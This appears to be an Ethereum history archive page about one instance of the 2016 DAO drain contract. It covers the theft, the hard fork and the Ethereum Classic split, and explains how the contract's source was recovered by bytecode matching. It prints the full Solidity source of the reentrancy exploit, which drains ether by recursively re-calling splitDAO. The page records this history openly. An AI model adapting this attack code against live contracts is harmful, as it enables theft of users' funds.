Bytecode verified via sibling
This contract shares identical runtime bytecode with DAOReentrancyExploit (0xc0ee9db1...) which has been verified through compiler archaeology.
DAO drain contract deployed by the attacker EOA on June 15, 2016. Byte-identical to the primary reentrancy exploit. Structural reconstruction.
Historical Significance
This contract is one of the byte-identical instances of the malicious contract that drained The DAO on June 17, 2016. Together the instances removed about 3.6 million ether, worth roughly 60 million US dollars at the time and close to 15 percent of all ether then in circulation, routing it into a child DAO subject to a 28 day withdrawal delay.
The theft forced the most contentious decision in Ethereum's history. On July 20, 2016 the network executed a hard fork at block 1,920,000 that moved the drained funds to a recovery contract and effectively reversed the theft. Part of the community rejected the fork on the principle of immutability and continued the original chain as Ethereum Classic (ETC), while the forked chain kept the name Ethereum (ETH).
References:
Context
The DAO was a decentralized venture fund launched in April and May 2016 by the German startup slock.it, founded by Christoph Jentzsch, Simon Jentzsch, and Stephan Tual. Its crowdsale gathered more than 12.7 million ether, over 150 million US dollars at the time, the largest crowdfunding event created up to that point. Token holders could exit through a splitDAO function whose reward path sent ether before clearing the caller's token balance, the ordering flaw that made reentrancy possible.
After the attack, the White Hat Group, including Griff Green and Lefteris Karapetsas, deployed contracts using the same exploit to move the remaining vulnerable ether beyond the attacker's reach. Following the July 20, 2016 hard fork, recovered funds were made claimable through a WithdrawDAO contract.
Token Information
Key Facts
Source Verified
Compiles with solc 0.3.5 (2016-06-14 nightly, commit 371690f0, optimizer on) to a byte-for-byte match of the on-chain 2142-byte runtime, with the sole exception of five identifier names whose original spellings cannot be recovered from bytecode (two public getters at slots 5 and 7, the onlyOwner trigger 0x625e847d, the setter 0x7f9f519f, and the event topic 0xbab6859b). Placeholder names limit, owner2, attack, setLimit, and NewLimit are used for those five. Everything else is confirmed exact. Verified by placeholder-substitution (0 differing bytes), Panoramix decompilation, and on-chain usage of every function.
Heuristic Analysis
The following characteristics were detected through bytecode analysis and may not be accurate.
Homestead Era
The first planned hard fork. Removed the canary contract, adjusted gas costs.
Bytecode Overview
Verified Source Available
Source verified through compiler archaeology and exact bytecode matching.
View Verification ProofShow source code (Solidity)
// Submitted by EthereumHistory (ethereumhistory.com)
contract DAOInterface {
function balanceOf(address addr) returns (uint);
function splitDAO(uint proposalID, address newCurator) returns (bool);
function vote(uint proposalID, bool supportsProposal) returns (uint);
function transfer(address to, uint amount) returns (bool);
function rewardAccount() returns (address);
}
contract DAOReentrancyExploit {
address public owner;
address public curator;
DAOInterface public dao;
uint public counter;
uint public proposalID;
uint public limit;
address public next;
address public owner2;
event NewOwner(address newOwner);
event Transfer(address to, uint value);
event Vote(uint proposalID, bool position);
event SetDAO(address dao);
event SplitDAO(uint proposalID, address next);
event NewLimit(uint limit);
event WRONG(string reason, address who);
function DAOReentrancyExploit(address _dao) {
owner = msg.sender;
dao = DAOInterface(_dao);
}
function() returns (bool) {
if (msg.sender != dao.rewardAccount()) {
WRONG("constuctor fail", msg.sender);
return true;
}
if (counter > limit - 1) {
dao.transfer(next, dao.balanceOf(this));
counter = 1;
return true;
}
counter++;
dao.splitDAO(proposalID, curator);
return true;
}
function setOwner(address _owner) returns (bool) {
if (msg.sender != owner) throw;
NewOwner(_owner);
owner = _owner;
return true;
}
function attack() returns (bool) {
if (msg.sender != owner) throw;
counter = 1;
owner2.send(this.balance);
dao.splitDAO(proposalID, curator);
return true;
}
function setDao(address _dao) returns (bool) {
if (msg.sender != owner) throw;
dao = DAOInterface(_dao);
SetDAO(dao);
return true;
}
function setLimit(uint _limit) returns (bool) {
if (msg.sender != owner) throw;
limit = _limit;
NewLimit(_limit);
return true;
}
function transfer(address _to, uint _amount) returns (bool) {
if (msg.sender != owner) throw;
dao.transfer(_to, _amount);
Transfer(_to, _amount);
return true;
}
function splitDAO(uint _proposalID, address _curator, address _next, uint _limit, address _owner2) returns (bool) {
if (msg.sender != owner) throw;
next = _next;
counter = 1;
curator = _curator;
proposalID = _proposalID;
limit = _limit;
owner2 = _owner2;
owner2.send(this.balance);
dao.splitDAO(proposalID, curator);
SplitDAO(proposalID, next);
return true;
}
function vote(uint _proposalID, bool _supports) returns (bool) {
if (msg.sender != owner) throw;
dao.vote(_proposalID, _supports);
Vote(_proposalID, _supports);
return true;
}
}External Links
Related contracts
Second-wave DAO drain contract deployed June 17, 2016 during the attack. Byte-identical to the primary reentrancy exploit. Structural reconstruction.
0x44d9ed...ce575dJune 17, 2016token
Same eraBare Homestead-era token (Mar 14 2016): public balanceOf mapping + a single unchecked transfer firing the standard Transfer event.
0xc77f06...494c69March 14, 2016DinastyCoinToken
Same eraHomestead-era transfer-only token, DinastyCoinToken (DCT), fixed supply 200000000 and 6 decimals.
0x3693fd...c11466March 14, 2016token
Same eraMinimal Homestead-era token shell (Mar 14 2016): just a public balanceOf mapping and its compiler-generated getter, with no other functions.
0x38e1da...41a81aMarch 14, 2016CampusCoin
Same eraByte-identical deployment of: Standard ethereum.org tutorial token (Homestead, Mar 2016): name/symbol/decimals metadata, a public balanceOf mapping and an overf
0x00f0b1...e6fcd2March 16, 2016Retch Mining Futures
Same eraBuy/sell token deployed by an early Ethermine miner 7 days after the Homestead fork, still active 10 years later.
0x9c2351...83e874March 21, 2016